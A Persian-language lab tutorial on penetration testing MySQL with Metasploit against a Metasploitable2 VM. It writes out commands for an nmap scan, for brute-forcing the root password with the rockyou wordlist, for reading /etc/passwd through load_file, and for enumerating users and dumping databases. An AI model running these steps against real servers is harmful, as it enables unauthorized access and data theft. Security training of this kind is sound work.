ارزیابی و تست نفوذ MySQL با چارچوب Metasploit

اگر شما به عنوان یک متخصص فناوری اطلاعات بیش از چند ماه در این حوزه درگیر بوده باشید حداقل نامی از پایگاه داده MySQL  یا MySQL Database باید شنیده باشید. دیتابیس MySQL  دارای قابلیت ارائه یک سرور قابل اعتماد و با کارایی بالا است که برای راه اندازی و استفاده آسان از آن استفاد ه می شود.

MySQL Database یا دیتابیس MySQL یک سیستم مدیریت پایگاه داده رایگان و یک سیستم مدیریت پایگاه داده منبع باز است و یکی از بزرگترین مزیت های آن سهولت استفاده در کار می باشد. نصب و راه اندازی سریع از راه دور و سهولت استفاده کاربر از پایگاه داده جدید با برنامه های افزودنی SQL که همگی بصری می باشند از دیگر مزیت های آن محسوب می شود.

در این مقاله ما سعی میکنیم فرآیند تست نفوذ ( Penetration Testing ) را برای این دیتابیس پیاده سازی کنیم تا با آسیب پذیری ها و روش های تست و ارزیابی امنیتی آشنا شوید

پیش نیاز ها برای راه اندازی آزمایشگاه تست نفوذ

  • Metasploitable2 VM Machine

  • Kali Linux VM Machine

  • Metasploitable2 VM IP Address - 192.168.179.142

  • Kali Linux VM IP Address - 192.168.179.141

Metasploitable2 یک دستگاه مجازی لینوکسی به عمد آسیب پذیر است. این VM را می توان برای انجام آموزش های امنیتی، تست ابزارهای امنیتی، و تکنیک های آزمایش نفوذ معمول استفاده کرد.

با ابزار nmap و با استفاده از دستور زیر  دستگاه Metasploitable2 VM را اسکن می کنیم

دیتا بیس MySQL  از پورت ۳۳۰۶ استفاده می کند بنابراین در کامند اسکن خود از این پورت استفاده می کنیم.

Command: 

nmap -sS -A -sV -p3306 192.168.179.142

اسکن همیشه نقش مهمی در تست نفوذ را دارد زیرا از طریق اسکن، مهاجم مطمئن می شود که سرویس ها و پورت های باز برای شمارش آن و حمله در دسترس هستند. اسکن فوق چندین مورد را برای نفوذ مشخص می کند . اولین مورد پورت سرویس (MySQL (3306 که باز است و دومین مورد نسخه “MySQL 5.0.51a-3ubuntu5” است.

اسکن دیتابیس MySQL

به نظر می رسد که نسخه فوق MySQL یعنی. ۵٫۰٫۵ بسیار قدیمی است و آخرین نسخه MySQL 8 است.

  1. حمله Brute forcing با چارچوب Metasploit

چارچوب metasploit را با دستور msfconsole شروع آغاز کرده و دستور زیر را اجرا کنید. این دستور تلاش می کند حمله Brute forcing را برای سرقت اعتبارنامه جهت دسترسی غیر مجاز انجام دهد.

Command :

use auxiliary/scanner/mysql/mysql_login

تست نفوذ MySQL

برای موفقیت بودن این حمله لازم است از یک ورد لیست استفاده کنید. شما نیاز به لیست هایی از کلمات برای نام کاربری و رمز عبور دارید. ما با استفاده از دیکشنری rockyou.txt که در حال حاضر در دایرکتوری  usr / share / wordlists/  در فرم txt.gz موجود است این کار را انجام می دهیم که با استفاده از دستور gunzip میتوان آن فایل را باز کرد.

تست نفوذ متاسپلویت

گزینه های زیر w.r.t را در ماژول فوق تنظیم کنید.

Commands:

 set THREADS 1000

 set RHOSTS 192.168.179.142

 set PASS_FILE /usr/share/wordlists/rockyou.txt

 set USERNAME root

 set STOP_ON_SUCCESS true

 set VERBOSE false

 set BLANK_PASSWORDS true

run

تست نفوذ metasploit

PASS_FILE بر روی یک فایل تنظیم شده که حاوی کلمه عبور MySQL است.

RHOST بر روی آدرس IP Metasploitable تنظیم شده است.

USERNAME روی Root تنظیم شده است.

به نظر می رسد که کاربر Root در پایگاه داده رمز عبور ندارد. (“ریشه:”)

  1. اکسپلویت کردن MySQL

اکسپلویت شدن mysql_sql می تواند برای اتصال به پایگاه داده از راه دور استفاده شود و محتویات فایل

  /etc / passwd را اسکن نماید تا لیستی از کاربران در سیستم دریافت شود.

Command:

use auxiliary/admin/mysql/mysql_sql

تست نفوذ ذیتابیس MySql

این یکی گزینه های کمتری دارد که باید تنظیم کنید.

Commands:

set USERNAME root

set PASSWORD ”

set RHOST 192.168.179.142

set RPORT 3306

set SQL select load_file(\’/etc/passwd\’)

تست نفوذ

پس از اجرای اکسپلویت ، میتوانید اجرای موفق این فرآیند بر روی etc/passwd/ را مشاهده کنید

  1. شمارش کاربران MySQL

این یکی دیگر از محبوب ترین سوءاستفاده های دیتابیس MySQL  به نام mysql_enum می باشد که تمام حساب های MySQL بر روی سیستم و امتیازات مختلف آنها را فهرست می کند.

Command:

use auxiliary/admin/mysql/mysql_enum

امنیت در دیتابیس MySQL

پارامترهایی را که این اکسپلویت کردن نیاز دارد را تنظیم کنید.

Commands:

set USERNAME root

set PASSWORD ”

set RHOST 192.168.179.142

set RPORT 3306

امنیت MySQL

اجرا با دستور RUN :

pen test mysql

از آنجایی که ما قبلا به کاربر ریشه در MySQL دسترسی پیدا کردیم، نیازی به نام های دیگر ورود نیست. با این حال، اگر کاربران زیادی در یک پایگاه داده مختلط وجود داشته باشند، ممکن است لیست مفیدی از نامهای کاربری متعدد با امتیازات مختلف را بتوان بدست آورد و اجازه دهد بخش های مختلف پایگاه داده را ببینید.

  1. مشاهده و خروجی محتویات دیتابیس MySQL 

تست نفوذ دیتابیس

از دستور “SHOW DATABASES” برای نشان دادن پایگاه های موجود استفاده کنید.

mysql

هنگامی که تمام پایگاه های داده را مشاهده کردید، می توانید یکی را انتخاب کرده و شروع به خروج اطلاعات از آن کنید تا ببینید چه چیزی را می توان با تایپ مثلا “use owasp10;” مشاهده کرد و برای نشان دادن تمام جداول نیز می توانید از تایپ “SHOW TABLES” استفاده کرد.

SHOW TABLES

می توانیم از دستور describe برای توصیف فیلدها در هر جدول SQL و همچنین نوع داده ها با تایپ کردن “describe accounts;“ استفاده کنیم.

جدول SQL

همچنین می توانید دستور “mysqlshow” را برای مشاهده محتویات پایگاه داده MySQL استفاده کنید.

پایگاه داده MySQL

mysql dump

همین کار را می توان از طریق دستور mysqldump انجام داد که در زیر نشان داده شده است.

دیتابیس

 

 

 

گردآورنده : سید محمد اسماعیلی

 

 

 

نوشته های مرتبط

امنیت cPanel

۱۶

خرداد
همه موضوعات

امن سازی سرور Cpanel – WHM

WHM یا Web Host Manager یک برنامه قدرتمند است که اجازه دسترسی به cPanel backend را می دهد. MWH  دارای قابلیت انعطاف پذیری زیاد و کنترل آسان در مدیریت وب سایت ها می باشد. WHM نه تنها کاربر را قادر می سازد تا بتواند  سرویس های میزبانی وب را ارائه دهد بلکه امکان ایجاد و مدیریت چند حساب […]

تست نفوذ

۰۲

خرداد
همه موضوعات

مراحل اجرایی تست نفوذ وب اپلیکیشن ها – Web Application Penetration Testing

آزمایش نفوذ یا تست نفوذ Penetration Testing چیست؟ تست نفوذ یا Penetration Testing یک فرایند ارزیابی امنیتی است که جهت بررسی آسیب پذیری های برنامه های وب توسط کارشناسان امنیتی آموزش دیده (مانند آزمون های نفوذ یا هکرهای اخلاقی) مورد استفاده قرار می گیرد . هدف از این آزمایش تقویت آسیب پذیری های امنیتی است که اپلیکیشن مورد نظر[…]